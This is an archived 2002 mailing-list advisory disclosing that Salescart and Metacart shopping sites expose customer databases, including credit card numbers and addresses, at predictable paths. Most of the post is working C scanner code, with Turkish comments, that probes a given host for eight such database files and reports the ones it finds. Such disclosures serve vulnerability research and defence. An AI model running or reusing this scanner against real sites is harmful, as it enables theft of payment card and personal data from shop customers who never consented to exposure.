Salescart vuln.

From: Tacettin Karadeniz (tacettinkaradenizat_private)
Date: Fri Jun 21 2002 - 13:44:24 PDT

  • Next message: ppp-design: "phpsquidpass: unauthorized user deleting"

    Summary: 
    In a business website which is made by Salescart, all
    customer records
    related to that website are reachable. All database
    can be hide to 
    shop.mdb file, in fpdb directory. Any user can be
    reach this database whithous permission.
     There are some special informations this database and
    they are; name, surname, adress,
    e-mail, phone number, credit card number, company name
    ...
     The credit card numbers in shop.mdb file is placed in
    query part.
    
    Problem:
    Accessing any of the following URL will return the
    database used by the product:
    http://xxxshop.com/fpdb/shop.mdb
    
    
    
    /* Salescart ve Metacart kullanILan bir alI$veri$
    sitesindeki mu$teri 
    kayItLarInI bulma */
    
    /* tacettinkaradenizat_private    karadenizeregli@2002
      */
    
    /* I LoVe CiLeK :>
    
    /* Not: Bu programI ba$tan sona ben yazmadIm. Sadece
    gerekli yerlerde 
    degi$iklik yaparak istediGim duzene getirdim :> */
    
    #include <string.h>
    #include <netdb.h>
    #include <ctype.h>
    #include <arpa/nameser.h>
    #include <sys/stat.h>
    #include <strings.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/socket.h>
    #include <fcntl.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <signal.h>
    #include <stdio.h>
    
    
    
    void main(int argc, char *argv[])
    {
    
      char *bulunan;
      char tampon[1024];
      char mesaj[] = "200";
      int toplam=0;
      int sayac;
      int buldum=0;
      char shoptampon[20];
      char *tmp[10];
      char *hata[10];
    
    
      int sock;
      struct in_addr addr;
      struct sockaddr_in sin;
      struct hostent *he;
      unsigned long giris;
      unsigned long duzelt;
    
    
    tmp[1]="GET /fpdb/shop.mdb HTTP/1.0\n\n";
    tmp[2]="GET /shoponline/fpdb/shop.mdb HTTP/1.0\n\n";
    tmp[3]="GET /database/metacart.mdb HTTP/1.0\n\n";
    tmp[4]="GET /shopping/database/metacart.mdb
    HTTP/1.0\n\n";
    tmp[5]="GET /shop/database/metacart.mdb HTTP/1.0\n\n";
    tmp[6]="GET /metacart/database/metacart.mdb
    HTTP/1.0\n\n";
    tmp[7]="GET /mcartfree/database/metacart.mdb
    HTTP/1.0\n\n";
    tmp[8]="GET /ASP/cart/database/metacart.mdb
    HTTP/1.0\n\n";
    
    hata[1] = "/fpdb/shop.mdb  ";
    hata[2] = "/shoponline/fpdb/shop.mdb  ";
    hata[3] = "/database/metacart.mdb  ";
    hata[4] = "/shopping/database/metacart.mdb  ";
    hata[5] = "/shop/database/metacart.mdb  ";
    hata[6] = "/metacart/database/metacart.mdb  ";
    hata[7] = "/mcartfree/database/metacart.mdb  ";
    hata[8] = "/ASP/cart/database/metacart.mdb  ";
    
    
    
    if (argc<2)
      {
    system("clear");
    printf("\n\t _                     ");
    printf("\n\t|_  ._   _    _   |  o ");
    printf("\n\t|_  |   (/_  (_|  |  | ");
    printf("\n\t              _|       ");
    printf("\n\nSalescart - Metacart  (c) 2002 ");
    printf("\nKullanImI : %s www.xxxshopxyz.com
    \n\n",argv[0]);
    
    exit(0);
    }
    
    if ((he=gethostbyname(argv[1])) == NULL)
    {
    herror("gethostbyname"); 
    exit(0);
    }
    system("clear");
    printf("\n\t _                     ");
    printf("\n\t|_  ._   _    _   |  o ");
    printf("\n\t|_  |   (/_  (_|  |  | ");
    printf("\n\t              _|       ");
    printf("\n\t  Salescart - Metacart  (c) 2002 ");
    
    giris=inet_addr(argv[1]);
    
    duzelt=ntohl(giris);
    
    sock=socket(AF_INET, SOCK_STREAM, 0);
    bcopy(he->h_addr, (char *)&sin.sin_addr,
    he->h_length);
    sin.sin_family=AF_INET;
    sin.sin_port=htons(80);
    
    if (connect(sock, (struct sockaddr*)&sin,
    sizeof(sin))!=0)
    {
    perror("connect");
    }
    send(sock, "HEAD / HTTP/1.0\n\n",17,0);
    
    recv(sock, tampon, sizeof(tampon),0);
    printf("%s",tampon);
    close(sock);
    system("clear");
    printf("Tarama YapILIyor..\n\n");
    
    while(toplam++ < 8)
    {
    sock=socket(AF_INET, SOCK_STREAM, 0);
    bcopy(he->h_addr, (char *)&sin.sin_addr,
    he->h_length);
    sin.sin_family=AF_INET;
    sin.sin_port=htons(80);
    if (connect(sock, (struct sockaddr*)&sin,
    sizeof(sin))!=0)
    {
    perror("connect");
    }
    
    for(sayac=0;sayac < 20;sayac++)
    {
    shoptampon[sayac] = '\0';
    }
    
    send(sock, tmp[toplam],strlen(tmp[toplam]),0);
    recv(sock, shoptampon, sizeof(shoptampon),0);
    
    bulunan = strstr(shoptampon,mesaj);
    
    if( bulunan != NULL)
    {
    printf("%s : ",hata[toplam]);
    printf(" Oleyyy.. Bulundu :\)\n");++buldum;
    }
    close(sock);
    }
    
    if (buldum)
    {
    printf("\n Tarama isLemi %s web sistesi icin
    bitti.\n", argv[1]);
    }
    else printf ("\n Uzgunum tarama sonucu bir veri
    bulunamamIstIr...\n\n");
    
    }
    
    
    __________________________________________________
    Do You Yahoo!?
    Yahoo! - Official partner of 2002 FIFA World Cup
    http://fifaworldcup.yahoo.com
    



    This archive was generated by hypermail 2b30 : Wed Jun 26 2002 - 00:44:21 PDT